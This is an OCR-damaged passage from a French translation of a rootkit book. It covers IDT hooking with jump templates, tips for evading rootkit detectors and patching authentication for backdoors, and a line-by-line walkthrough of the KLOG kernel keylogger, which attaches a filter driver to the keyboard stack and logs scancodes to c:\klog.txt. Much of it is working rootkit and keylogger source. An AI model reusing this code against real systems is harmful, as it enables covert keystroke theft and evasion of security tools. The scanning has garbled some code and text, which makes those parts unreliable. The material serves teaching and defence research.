// Copie le code initial l'emplacement du modle
memcpy(entry_ptr, jump_template, sizeof(jump_template));
#ifndef _DEBUG
// Insre le numro d'interruption entry_ptr[4] = (char)count;

Chapitre S

Patching lors de l'excution 149

I l Insre l'appel FAR vers la routine de hook


*( (unsigned long *)(&entry_ptr[10]) ) =
(unsigned long)count_interrupts;
#endif
// Insre le saut FAR vers la routine d'interruption originale *(
(unsigned long *)(&entry_ptr[20]) ) = old_ISR_pointers[count];

Lentre de la table dinterruptions est modifie pour pointer vers le nouveau modle
de saut qui vient dtre cr :
// Finalement, faire pointer l'interruption vers le code du modle
_ asm cli
idt_entries[count].LowOffset =
(unsigned short)entry_ptr;
idt_entries[count].HiOffset =
(unsigned short)((unsigned long)entry_ptr 16);
_ asm sti

}
DbgPrint("Hooking Interrupt complt");
return STATUS_SUCCESS;

La routine OnUnload illustre dans le code suivant restaure simplement la table


dinterruptions originale. Elle envoie en sortie le nombre de fois que chaque
interruption aura t appele. Si vous avez un problme pour trouver linterruption du
clavier, essayez ce driver et appuyez dix fois sur une touche. Lorsque vous
dchargerez le driver, linterruption du clavier sera enregistre comme ayant t
appele vingt fois, une fois pour keydown et une fois pour keyup :
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{
int i;
IDTINFO idt_info; // Cette structure est obtenue
// en appelant STORE IDT (sidt)...
IDTENTRY* idt_entries; // puis ce pointeur
// est obtenu partir d'idt_info.
char _t[255];
// Charge idt_info
_ asm sidt idt_info
idt_entries = (IDTENTRY*)
MAKELONG( idt_info.LowIDTbase, idt_info.HiIDTbase);
DbgPrint("ROOTKIT: OnUnload called\n");
for(i=START_IDT_OFFSET;i<MAX_IDT_ENTRIES;i++)

{
_snprintf(_t, 253,
"interrupt %d called %d times", i,
g_i_count[i]);
DbgPrint(_t);

150 Rootkits

Infiltrations du noyau Windows

DbgPrint("UnHooking Interrupt for(i=START_IDT_0FFSET;i<MAX_IDT_ENTRIES;i++)

{
I l Restaure la routine d'interruption originale
_ asm cli
idt_entries[i].LowOffset =
(unsigned short) old_ISR_pointers[i];
idt_entries[i].HiOffset =
(unsigned short)((unsigned long)
old_ISR_pointers[i] 16);
_ asm sti

}
DbgPrint("UnHooking Interrupt complt.");

}
Vous savez maintenant comment mettre en uvre la technique du modle de saut. Elle
peut tre gnralise pour de nombreux problmes. Elle est particulirement utile
lorsque plusieurs hooks sont ncessaires et que chacun deux inclut des donnes
spcifiques.

Variations
Comme vous lavez vu, les patchs de code sont souvent insrs au dbut dune
fonction. Cest une opration aise car les fonctions sont faciles trouver en mmoire.
Bien entendu, il est possible daller plus loin et dinsrer le patch plus en profondeur
dans la fonction. Cette dmarche permet dobtenir une plus grande furtivit et est plus
difficile dtecter. Certains logiciels de dtection de rootkits ne vrifient lintgrit
que des vingt premiers octets dune fonction. Pour leur chapper, il sufft dintroduire
le code de modification au-del de cette limite.
La recherche doctets de code patcher fonctionne parfois bien, notamment lorsque la
squence doctets voulue est unique. Il suffit alors de rechercher le code en mmoire
sans avoir recourir lemploi de pointeurs de fonctions pour le faire. Si le patch luimme est simple, vous pouvez parfois rechercher des octets uniques proches de
lemplacement patcher. Le tout est didentifier une srie doctets que lon puisse
chercher et qui soit reconnaissable sans ambigut.
Les fonctions dauthentification reprsentent souvent des emplacements intressants
modifier. Elles peuvent ainsi tre compltement dsactives de faon toujours
permettre laccs. Un patch plus complexe serait lautorisation dun mot de passe ou
dun nom dutilisateur de backdoor.

Chapitre 5

Patching lors de l'excution 151

Les patchs appliqus des fonctions gnrales du noyau peuvent assurer la furtivit
dun driver ou dun programme install. Un emplacement trs intressant est le
programme de chargement du noyau lui-mme. Les fonctions de contrle dintgrit
peuvent aussi tre patches de sorte quelles ne puissent plus dtecter les fichiers
troyens ou modifis. Des patchs de fonctions rseau peuvent tre employs pour
sniffer des paquets et dautres donnes. Les patchs de microcode (firmware) et du
BIOS peuvent tre difficiles dtecter.
Lors de linsertion dun patch et de code, il faut parfois introduire un grand nombre de
nouvelles instructions. A partir dun driver, la meilleure faon de procder est
dallouer de la mmoire non pagine. Pour les patchs moins courants, le code peut tre
plac dans des zones mmoire non utilises. Il existe au bas de nombreuses pages
mmoire des sections non utilises appeles cavernes. Aussi parle-t-on parfois
d'infection de caverne pour dsigner le fait den tirer parti.

Conclusion
De manire gnrale, le patching direct doctets de code est lune des mthodes les
plus efficaces qui soient pour modifier la logique dun programme. Quasiment
nimporte quel code ou logique de programme peut tre modifi. En outre, cette
technique est assez difficile dtecter, du moins avec les outils actuels de dtection de
rootkits.
Les patchs doctets de code constituent une alternative pour implmenter nombre des
stratgies de hooking dcrites dans ce livre. Combins dautres techniques
puissantes, telles que laccs direct au matriel et les dissimulations de mmoire
virtuelle, ils peuvent servir dvelopper des rootkits trs performants et difficilement
dtectables.
Le patching lors de lexcution fait partie des techniques de base du dveloppement de
rootkits modernes.

Chanage de drivers
Si une tche difficile vous incombe, confiez-la une personne plus
paresseuse que vous ; elle trouvera une solution plus simple.
- Loi de Hlade

Les dveloppeurs laborent des solutions ingnieuses pour spargner du travail. En


fait, cette recherche dconomie est la source de nombreuses innovations en matire de
codage. La possibilit de chaner des drivers est lune delles. En chanant ensemble
plusieurs drivers, un dveloppeur peut modifier le comportement dun driver existant
sans avoir en coder un tout nouveau.
Imaginez que vous vouliez chiffrer le contenu dun disque dur. Vous pourriez crire
entirement un driver NTFS qui supporte non seulement le mcanisme exact du disque
mais aussi son protocole NTFS et ses routines de chiffrement. Mais cela nest pas
ncessaire si vous utilisez des drivers chans on parle aussi de superposition de
drivers (layered drivers). Dans ce cas, vous interceptez simplement les donnes
lorsquelles sont achemines vers le driver NTFS prexistant et les modifiez en leur
appliquant un chiffrement. Mais, plus important encore, les dtails du protocole NTFS
peuvent tre spars des dtails physiques du mcanisme du disque. Cette approche
lgante sapplique la plupart des drivers dans lenvironnement Windows.

154

Rootkits

Infiltrations du noyau Windows

Il existe des chanes de drivers pour pratiquement tous les priphriques matriels. Le
driver de plus bas niveau gre laccs direct au bus et au priphrique, et ceux situs
plus haut grent la mise en forme des donnes, les codes derreurs et la conversion des
requtes de haut niveau en dtail de manipulation physique plus spcifiques.
Le chanage de drivers est un concept important pour les rootkits car les drivers
interviennent dans le transfert des donnes changes vers ou depuis le matriel. Ces
drivers ninterceptent pas seulement les donnes, ils peuvent aussi les modifier avant
de les transmettre. Autrement dit, ils sont parfaits pour les dveloppeurs de rootkits.
Presque tous les priphriques du systme peuvent tre intercepts de cette manire.
En outre, le chanage permet au dveloppeur dtre paresseux et dintercepter
uniquement les donnes qui lintressent. Mais surtout, il lui permet dviter les
complexits du matriel. Par exemple, pour sniffer la frappe au clavier, il lui suffit
dinsrer son code dinterception au-dessus du driver de clavier existant.
Ce chapitre dcrit comment utiliser les techniques de chanage pour intercepter et
modifier des donnes dans un systme. Nous commencerons par expliquer la faon
dont le noyau Windows gre les drivers et examinerons ensuite dans le dtail un
exemple de driver de filtrage de clavier permettant dintercepter la frappe. Nous
terminerons ensuite par une introduction aux drivers de filtrage de fichiers.
A lissue de ce chapitre, vous devriez tre capable de comprendre comment se fait
linterception de la frappe au clavier et la dissimulation de fichier ou de rpertoire o
sont stockes les donnes captures.

Un sniffeur de clavier
Chaner un driver demande certaines connaissances de base sur la faon dont le noyau
Windows gre les drivers. Rien de tel quun exemple pour comprendre ce point. Dans
ce chapitre, nous allons crer un rootkit sniffeur de clavier qui utilisera un driver de
filtrage pour intercepter la frappe.
Ce sniffeur opre un niveau beaucoup plus lev que le contrleur de clavier. Il se
trouve que manipuler un composant matriel aussi simple que ce contrleur peut se
rvler trs problmatique (voyez le Chapitre 8 pour un exemple daccs direct).

Chapitre 6

Chanage de drivers 155

Au stade o nous intercepterons les touches presses, le driver du priphrique


physique les aura dj converties en paquets de requtes dE/S, ou IRP (I/O Request
Racket). Ces IRP sont transfrs vers le bas et le haut dune chane de drivers. Pour
intercepter la frappe, le rootkit doit simplement venir se greffer dans cette chane.
Pour cela, un driver doit dabord crer un priphrique puis linsrer dans le groupe de
priphriques prsents. La distinction entre un priphrique et un driver est importante.
Elle est illustre la Figure 6.1. Au niveau implmentation, il faut savoir quun objet
driver peut crer un objet priphrique pouvant reprsenter un priphrique physique
ou logique.

Figure 6.1
Illustration de la
relation entre un driver
et un priphrique.

De nombreux priphriques peuvent sattacher la chane de priphriques pour des


raisons lgitimes. Par exemple, la Figure 6.2 illustre un ordinateur qui dispose de deux
outils de chiffrement, BestCrypt et PGP, qui utilisent chacun un driver de filtrage pour
intercepter la frappe et lactivit de la souris.
Pour mieux comprendre comment une chane de priphriques traite les informations,
il faut suivre le cheminement dun IRP depuis sa cration. Dabord, une requte de
lecture est mise pour lire une touche frappe, ce qui provoque la cration dun IRP.
Cet IRP est transmis vers le bas de la chane de priphriques, avec comme destination
ultime le contrleur 8042. Chaque priphrique a la possibilit

156

Rootkits

Infiltrations du noyau Windows

de modifier lIRP ou dy rpondre. Aprs que le driver 8042 a extrait du tampon du


clavier la touche frappe, le scancode Ndt : attention, le scancode n est pas le code
de touche, ou keycode correspondant est plac dans lIRP, qui remonte ensuite la
chane. Sur le chemin de lIRP vers le haut de la chane, les drivers peuvent de nouveau
modifier lIRP ou y rpondre.

Figure 6.2

L'utilitaire DeviceTree 1 affichant plusieurs priphriques de filtrage attachs au clavier et la


souris.

Paquets IRP et I0_STACK_L0CATI0N


Un IRP est une stmcture partiellement documente, alloue par le gestionnaire dE/S au
sein du noyau Windows et utilise pour transfrer entre les drivers des donnes
spcifiques aux oprations dE/S. Les drivers superposs sont enregistrs dans une
chane. Lorsquune requte dE/S concerne ces drivers, un IRP est cr et leur est
transmis, tous. Le driver "suprieur", le premier de la chane, le reoit en premier. Le
driver "infrieur", le dernier de la chane, est celui qui est charg de communiquer
directement avec le matriel.
Pour chaque nouvelle requte, le gestionnaire dE/S doit crer un nouvel IRP. Au
moment o il le cre, il sait exactement combien de drivers sont enregistrs dans 1
1. Disponible surwww.osronline.com.

Chanage de drivers 157

Chapitre 6

la chane et ajoute pour chacun un emplacement supplmentaire dans lIRP sous la


forme dune structure IO_STACK_LOCATION. La taille de lIRP peut donc varier en
fonction du nombre de drivers prsents dans la chane. LIRP tout entier rside en
mmoire et ressemble ce qui est illustr la Figure 6.3.
riyur e o.j

Un IRP comprenant
trois structures 10
STACK LOCATION.

En-tte
de
lIRP
10

STACK
LOCATION

Chaque driver de la chane se voit allouer


une structure IOSTACKLOCATION
dans l'IRP.
Chaque structure est ajoute la fin de
l'IRP,
l'ensemble formant comme un tableau.
J Emplacement du dernier driver (1 ) I

10

STACK
LOCATION

J Emplacement du driver suivant (2) I

10

STACK
LOCATION

J Emplacement du premier driver (3)

Len-tte de lIRP contient un indice de tableau spcifiant lemplacement


IO_STACK_LOCATION courant de la pile ainsi quun pointeur vers cet emplacement.
Lindice dbute 1 et il ny a pas de membre 0. Dans lexemple de la Figure 6.3, lIRP
serait initialis avec lindice demplacement courant 3 et le pointeur renverrait au
troisime membre du tableau. Le premier driver de la chane serait donc appel avec
un emplacement courant gal 3.
Lorsquun driver passe un IRP au driver situ sous lui, il utilise la routine ioCallDriver (voir Figure 6.4). Une des premires actions de cette routine est de dcrmenter
lindice demplacement courant. Aussi, lorsque le premier driver de la Figure 6.3
invoque IoCallDriver, lindice passe 2 avant que le driver suivant ne soit appel. Puis,
lorsque le dernier driver est appel, lindice est 1. Notez que, si cet indice venait
prendre la valeur 0, la machine planterait.
Un driver de filtrage doit supporter les mmes fonctions majeures que le driver situ
sous lui. Un simple driver "Hello World !" passerait simplement tous les IRP au driver
sous-jacent. Dfinir une fonction de passage est ais :
for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) pDriverObject>MajorFunction[i] = MyPassThru;

158 Rootkits

Infiltrations du noyau Windows

Figure 6.4

Un IRP traversant une chane de drivers possdant chacun son propre emplacement dans la
pile.

Dans cet exemple, MyPassThru est une fonction semblable la suivante :


NTSTATUS MyPassThru(PDEVICE_OBJECT theCurrentDeviceObject, PIRP theIRP)

{
IoSkipCurrentlrpStackLocation(theIRP);
Return IoCallDriverfgNextDevice, theIRP);

}
Lappel de IoSkipCurrentlrpStackLocation modifie lIRP de sorte que, lorsque nous
invoquons IoCallDriver, le driver sous-jacent recevra la structure IO_STACK_LOCATION
de notre driver. Autrement dit, le pointeur vers lemplacement courant ne sera pas
modifi1. Cette technique permet au driver sous-jacent dutiliser les mmes arguments
ou routines de terminaison que ceux fournis par le driver situ au-dessus du ntre (ce
qui nous arrange car nous navons ainsi pas initialiser lemplacement du driver sousjacent dans la pile).
Etant donn que IoSkipCurrentlrpStackLocation ( ) peut tre implmente en tant que
macro, il faut veiller toujours utiliser des accolades dans une expression
conditionnelle :
if(something)

{
IoSkipCurrentlrpStackLocation()

1. Pour ceux que les dtails intressent, IoSkipCurrentlrpStackLocation incrmente le


pointeur, mais
celui-ci est dcrment dautant lorsque IoCallDriver est invoque, ce qui fait quil reste
inchang.

Chapitre 6

Chanage de drivers 159

Ceci ne fonctionnera pas :


Il Ceci peut provoquer un plantage :
if(quelque chose) IoSkipCurrentlrpStackLocation();

Bien entendu, cet exemple ne fait rien dutile. Pour tirer parti de cette technique, nous
pourrions examiner le contenu des IRP aprs quils ont t traits. Par exemple, des
IRP sont utiliss pour rcuprer la frappe au clavier. Ces IRP contiennent les
scancodes des touches qui ont t presses.
Pour vous permettre de vous familiariser avec ce traitement, nous allons examiner en
dtail le fonctionnement du rootkit KLOG qui implmente un sniffeur de clavier.

Le rootkit KLOG
Notre exemple de sniffeur de clavier, qui se nomme KLOG, a t crit par Clandestiny et est publi sur le site www.rootkit.com1. Cette section examine son code ligne
par ligne.
Rootkit.com
Le rootkit KLOG est dcrit l'adresse
www.rootkit.com/newsread.php7newsids187.
Il peut tre tlcharg sur ce site partir du rpertoire vault
de Clandestiny.

Notez que KLOG supporte une disposition du clavier anglaise amricaine. Etant donn
que chaque touche presse est transmise sous la forme dun scancode et non dun
caractre, une tape est requise pour convertir chaque scancode dans le caractre
correspondant. Ce mapping peut diffrer selon la disposition du clavier utilise.
Pour commencer, la fonction DriverEntry est invoque :
NTSTATUS DriverEntryfIN PDRIVER_OBJECT pDriverObject, IN
PUNICODE_STRING RegistryPath )

{
NTSTATUS Status = {0};

1. Un exemple connu de driver chan permettant de filtrer la frappe est disponible sur
www.sysinter- nals.com. Il se nomme ctr!2cap et a servi de base au sniffeur KLOG.

160 Rootkits

Infiltrations du noyau Windows

Dans cette fonction, une routine de passage appele

DispatchPassDown

est dfinie :

for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) pDriverObject>MajorFunction[i] = DispatchPassDown;

Une autre routine est cre spcifiquement pour les requtes de lecture du clavier. Elle
se nomme DispatchRead :
// Spcifie explicitement les gestionnaires d'IRP hooker
pDriverObj ect->Maj orFunction[IRP_MJ_READ] = DispatchRead;

Maintenant que lobjet driver a t configur, il faut le relier la chane de


priphriques. Pour cela, la fonction HookKeyboard est utilise :
// Hooke le clavier
HookKeyboard(pDriverObject);

Voici quoi ressemble cette fonction plus en dtail :


NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)

{
// L'objet priphrique de filtrage PDEVICE_OBJECT
pKeyboardDeviceObj ect;

La fonction IoCreateDevice sert crer un objet priphrique. Notez que le


priphrique ne reoit pas de nom et quil est de type FILE DEVICE KEYBOARD. Notez
galement que la taille de DEVICE_EXTENSION est passe ; il sagit dune structure dfinie
par lutilisateur :
// Cre un objet priphrique de type clavier NTSTATUS status
= IoCreateDevice(pDriverObject,
sizeof(DEVICE_EXTENSION),
NULL, 1/ Pas de nom
FILE_DEVICE_KEYBOARD,

0
true,
&pKeyboardDeviceObject);
Il Vrifie que le priphrique a t cr
if(!NT_SUCCESS(status)) return status;

Les flags associs au nouveau priphrique devraient tre dfinis lidentique de ceux
du priphrique clavier sous-jacent. Cette information peut tre obtenue au moyen
dun utilitaire comme DeviceTree. Dans le cas dun filtre de clavier, les flags indiqus
ici peuvent tre utiliss :
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags |
(D0_BUFFERED_I0 | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags &
~DO_DEVICE_INITIALIZING;

Chapitre 6

Chanage de drivers 161

Souvenez-vous que KLOG a spcifi la taille de DEVICE EXTENSION lors de la cration


de lobjet priphrique. Il sagit dun bloc arbitraire de mmoire non pagine qui peut
tre utilis pour stocker nimporte quelles donnes. Ces donnes seront associes cet
objet. KLOG dfinit la structure DEVICE_EXTENSION comme ceci :
typedef struct _DEVICE_EXTENSION

{
PDEVICEJDBJECT pKeyboardDevice;
PETHREAD pThreadObj; bool
bThreadTerminate;
HANDLE hLogFile;
KEY_STATE kState;
SEMAPHORE semQueue;
KSPIN_LOCK lockQueue;
LIST_ENTRY QueueListHead;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

La fonction HookKeyboard rinitialise cette structure et cre un pointeur pour


initialiser certains membres :
RtlZeroMemory(pKeyboardDeviceObj ect->DeviceExtension,
sizeof(DEVICE_EXTENSION));
// Rcupre le pointeur vers l'extension de priphrique PDEVICE_EXTENSION
pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pKeyboardDeviceObj ect->DeviceExtension ;

Le nom du priphrique clavier sur lequel se chaner est KeyboardClassO. Il est converti
en une chane Unicode, puis le hook de filtrage est plac au moyen dun appel de
IoAttachDevice ( ). Le pointeur vers le priphrique suivant (sous-jacent) dans la
chane est stock dans pKeyboardDeviceExtension->peyboardDevice et sera utilis pour
lui passer les IRP :
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
RtlInitAnsiString(&ntNameString, ntNameBuffer);
RtlAnsiStringToUnicodeString(&ueyboardDeviceName,
&ntNameString,
TRUE );
IoAttachDevice(pKeyboardDeviceObj ect, &uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName); return
STATUS_SUCCESS;
}// Fin de HookKeyboard

En supposant que lexcution de HookKeyboard se soit bien droule, KLOG poursuit le


traitement dans DriverMain. Ltape suivante consiste crer un thread de travail qui
peut crire la frappe dans un fichier journal. Le thread est requis car les oprations de
fichier ne sont pas possibles dans la fonction de traitement des IRP.

162 Rootkits

Infiltrations du noyau Windows

Lorsque les scancodes sont placs dans les IRP, le systme opre au niveau dIRQ
DISPATCH_LEVEL, auquel les oprations de fichier sont interdites. Aprs que la frappe a
t place dans un tampon partag, le thread peut la rcuprer et lcrire dans un
fichier. Le thread sexcute un niveau dIRQ diffrent, PASSIVE LEVEL, o les
oprations de fichier sont autorises. La dfinition du thread a lieu dans la fonction
InitThreadKeyLogger :
InitThreadKeyLogger(pDriverObject);

Voici quoi ressemble cette fonction plus en dtail :


NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject)

{
Un pointeur vers lextension de priphrique est employ pour initialiser encore
dautres membres. KLOG stocke ltat du thread dans bThreadTerminate, qui devrait
comporter la valeur taise tant que le thread na pas termin de sexcuter :
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pDriverObj ect->DeviceObj ect->DeviceExtension;
// Dfinit le thread comme tant en cours d'excution dans l'extension //
de priphrique.
pKeyboardDeviceExtension->bThreadTerminate = taise;
thread est cr en appelant PsCreateSystemhread. Notez que la fonction de

Le
traitement du thread est spcifie en tant que
priphrique lui est passe comme argument :

ThreadKeyLogger

et que lextension de

// Cre le thread de travail HANDLE hThread;


NTSTATUS status = PsCreateSystemThread(&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger,
pKeyboardDeviceExtension) ;
if(!NT_SUCCESS(status)) return status;

Un pointeur vers lobjet thread est stock dans lextension de priphrique :


// Obtient un pointeur vers l'objet thread ObReferenceObj ectByHandle(hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)&pKeyboardDeviceExtension->pThreadObj,
NULL);

Chanage de drivers 163

Chapitre 6

Il Nous n'avons pas besoin du handle de thread ZwClose(hThread); return status;

}
De retour dans DriverEntry, le thread est prt. Une liste chane partage est initialise
et stocke dans lextension. Cette liste contiendra les touches captures :
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION) pDriverObj ect->DeviceObject->DeviceExtension ;
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

Un verrou spinlock est initialis pour synchroniser laccs la liste chane. Ceci
permet de protger le thread de la liste, ce qui est trs important. Si KLOG nutilisait
pas ce verrou, il pourrait causer un cran bleu lorsque deux threads tentent daccder
la liste en mme temps. Le smaphore garde trace du nombre dlments dans la file
de travail (initialement zro) :
// Initialise le verrou pour la file de la liste chane
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
// Initialise le smaphore de la file de travail
KeInitializeSemaphore(&pKeyboardDeviceExtension->seinQueue, 0, MAXLONG);

Le bloc de code suivant ouvre un fichier, c: \klog.txt, pour consigner les touches
frappes :
// Cre le fichier journal I0_STATUS_BL0CK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
STRING ntNameString;
UNICODE_STRING uFileName;
RtlInitAnsiString(&ntNameString, ntNameFile);
RtlAnsiStringToUnicodeStringf&uFileName, &ntNameString, TRUE);
InitializeObjectAttributes(&obj_attrib, &uFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
GENERICJVRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,

0,
FILE_OPEN_IF,
FILE_SYNCHR0N0US_I0_N0NALERT,
NULL,
0) ;

164

Rootkits

Infiltrations du noyau Windows

RtlFreeUnicodeString(&uFileName);
if (Status != STATUS_SUCCESS)

{
DbgPrint("Failed to create log file...\n");
DbgPrint("File Status = %x\n",file_status);

}
else

{
DbgPrint("Successfully created log file...\n");
DbgPrint("File Handle = %x\n",
pKeyboardDeviceExtension->hLogFile) ;

}
Pour finir, une routine DriverUnload est spcifie des fins de nettoyage :
// Dfinit la procdure DriverUnload pDriverObject->DriverUnload =
Unload;
DbgPrint("Set DriverUnload function pointer...\n");
DbgPrint("Exiting Driver Entry ........ \n");
return STATUS_SUCCESS;

}
A ce stade, le driver KLOG est attach la chane de priphriques et devrait
commencer rcuprer les IRP de touches frappes. La routine qui est invoque pour
une requte READ est DispatchRead. Examinons-la de plus prs :
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP plrp)

{
Cette fonction est appele lorsquune requte READ est transmise vers le bas de la
chane, au contrleur de clavier. LIRP ne contient alors aucune donne. Nous voulons
donc voir lIRP aprs que la touche presse a t capture, cest--dire lorsquil
remonte vers le haut de la chane.
Le seul moyen dtre notifi lorsque lIRP a termin consiste dfinir une routine de
terminaison. A dfaut de le faire, nous raterons lIRP au moment o il remontera la
chane.
Lorsque nous passons PIRP au priphrique sous-jacent dans la chane, nous devons
dfinir le pointeur de pile de PIRP. Le terme pile est ici confondant car chaque
priphrique dispose simplement dune zone de mmoire dans chaque IRP. Ces zones
prives sont disposes dans un ordre spcifique. On emploie les fonctions
IoGetCurrentlrpStackLocation et IoGetNextlrpStackLocation pour rcuprer des
pointeurs vers ces zones. Un pointeur "courant" doit pointer vers la zone prive du
driver sous-jacent avant que PIRP ne lui soit transmis.

Chanage de drivers 165

Chapitre 6

Aussi, avant dappeler

IoCallDriver,

nous appelons

IoCopyCurrentlrpStack-

LocationToNext :

Il Copie les paramtres courants vers l'emplacement de la pile Il du


driver sous-jacent.
IoCopyCurrentlrpStackLocationToNext(plrp);

Notez que la routine de terminaison se nomme OnReadCompletion

Il Dfinit la routine de terminaison IoSetCompletionRoutine(plrp,


OnReadCompletion,
pDeviceObj ect,
TRUE,
TRUE,
TRUE) ;

KLOG garde trace du nombre dIRP en attente (pending) de sorte quil ne se


dchargera pas avant davoir termin le traitement :
Il Garde trace du nombre d'IRP en attente numPendingIrps++;

Enfin, la fonction IoCallDriver est utilise pour passer lIRP au driver sous-jacent.
Souvenez-vous quun pointeur vers ce driver est stock dans pKeyboardDevice dans
lextension de priphrique.
// Passe l'IRP au driver sous-jacent return IoCallDriver(
((PDEVICE_EXTENSION) pDeviceObj ect->DeviceExtension)->pkeyboardDevice, Plrp);
}/ / Fin de DispatchRead

Nous pouvons voir maintenant que chaque IRP READ, une fois trait, sera disponible
dans la routine OnReadCompletion. Examinons les dtails :
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,
IN PIRP plrp, IN PVOID Context)

{
// Rcupre l'extension de priphrique - nous en aurons besoin plus tard
PDEVICE_EXTENSION pkeyboardDeviceExtension =
(PDEVICE_EXTENSION)pDeviceObj ect->DeviceExtension;

Ltat de lIRP est examin. Considrez cet tat comme un code de retour, ou un code
derreur. Si le code est STATUS_SUCCESS, cela signifie que lIRP sest termin avec
succs, et il devrait contenir des donnes de frappe. Le membre SystemBuf f er

166 Rootkits

Infiltrations du noyau Windows

pointe vers un tableau de structures KEYBOARD_INPUT_DATA. Le membre


Information contient la taille de ce tableau :

ioSta- tus.

// Si la requte est termine, extrait la valeur de la touche if(pIrp>IoStatus.Status == STATUS_SUCCESS)

{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA) pIrp>AssociatedIrp.SystemBuffer;
int numKeys = pIrp->IoStatus.Information /
sizeof(KEYBOARD_INPUT_DATA);

La structure KEYBOARD_lNPUT_DATA est dfinie comme suit :


typedef Struct _KEYBOARD_INPUT_DATA {
USHORT Unitld;
USHORT MakeCode;
USHORT Flags;
USHORT Reserved;
ULONG Extrainformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

KLOG parcourt maintenant tous les membres du tableau, rcuprant une touche pour
chacun :
for(int i = 0; i < numKeys; i++)

{
DbgPrint("ScanCode: %x\n", keys[i].MakeCode);

Notez que nous recevons deux vnements : un pour la pression et un pour le


relchement dune touche. Nous pouvons nous limiter un seul dentre eux pour un
simple sniffeur de clavier. KEY MAKE est le flag important ici :
if (keys [i] .Flags == KEYJ/IAKE)
DbgPrint("%s\n","Key Down");

Noubliez pas que cette routine de terminaison est appele au niveau dIRQ
DISPATCH_LEVEL, ce qui veut dire que les oprations de fichier ne sont pas autorises.
Pour contourner cette limitation, KLOG passe au thread les touches frappes via une
liste chane partage. Une section critique doit tre utilise pour synchroniser laccs
cette liste. Le noyau veille lapplication de la rgle qui veut quun seul thread la
fois puisse excuter une section critique. Notez quun appel de procdure diffr, ou
DPC (Deferred Procedure Call), ne pourrait pas tre employ ici car ce type dappel
sexcute galement au niveau DISPATCH_LEVEL.
KLOG alloue de la mmoire non pagine et y place le scancode. Ce scancode est
ensuite plac dans la liste chane. La mmoire peut tre alloue uniquement

Chapitre 6

Chanage de drivers 167

partir dun pool non pagin puisque nous nous trouvons au niveau
DISPATCH_LEVEL.
KEY_DATA* kData =
(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
// Remplit la structure kData avec les donnes de l'IRP kData->KeyData =
(char)keys[i].MakeCode; kData->KeyFlags = (char)keys[i].Flags;
// Ajoute le scancode la file de la liste chane // pour que notre
thread puisse l'crire dans un fichier.
DbgPrint("Adding IRP to work queue...");
ExInterlockedlnsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);

Le smaphore est incrment pour indiquer que des donnes doivent tre traites :
// Incrmente le smaphore de 1 - pas de WaitForXXX aprs cet appel
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,

FALSE);
}// Fin du for }// Fin
du if
// Marque l'IRP comme tant en attente si ncessaire if(pIrp->PendingReturned)
IoMarklrpPending(pIrp);

Comme KLOG a termin de traiter cet IRP, le compteur dIRP est dcrment :
numPendinglrps-;
return pIrp->IoStatus.Status;
}// Fin de OnReadCompletion

A ce stade, une touche a t copie dans la liste chane et est disponible pour le thread
de travail. Examinons prsent la routine de ce thread :
VOID ThreadKeyl_ogger(IN PVOID pContext)

{
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pContext;
PDEVICE_OBJECT pKeyboardDeviceObject =
pKeyboardDeviceExtension->pKeyboardDevice;
PLIST_ENTRY pListEntry;
KEY_DATA* kData; // Structure de donnes personnalise utilise pour //
contenir les scancodes dans la liste chane.

168 Rootkits

Infiltrations du noyau Windows

KLOG entre maintenant dans une boucle de traitement. Le code attend le smaphore
en utilisant KeWaitForSingleObj ect. Si le smaphore est incrment, la boucle se
poursuit :
while(true)

{
// Attend que des donnes deviennent disponibles dans la file
KeWaitForSingleObj ect(
&pKeyboardDeviceExtension->semQueue,
Executive,
KernelMode,
FALSE,
NULL);

Llment au sommet de la liste est extrait. Notez lemploi de la section critique.


pListEntny = ExInterlockedRemoveHeadList(
&pKeyboardDeviceExtension->QueueListHead,
&pKeyboardDeviceExtension->lockQueue);

Il nest pas possible de terminer des threads du noyau depuis lextrieur. Ces threads
peuvent seulement se terminer eux-mmes. KLOG examine un flag pour dterminer
sil doit terminer un thread de travail, ce qui devrait se produire uniquement si le
rootkit est dcharg :
if(pKeyboardDeviceExtension->bThneadTenminate == true)

{
PsTerminateSystemThread(STATUS_SUCCESS);

}
La macro CONTAININGJRECORD doit tre utilise pour rcuprer un pointeur vers les
donnes contenues dans la structure pListEntry :
kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);

Ici, KLOG obtient le scancode et le convertit en un code de touche laide dune


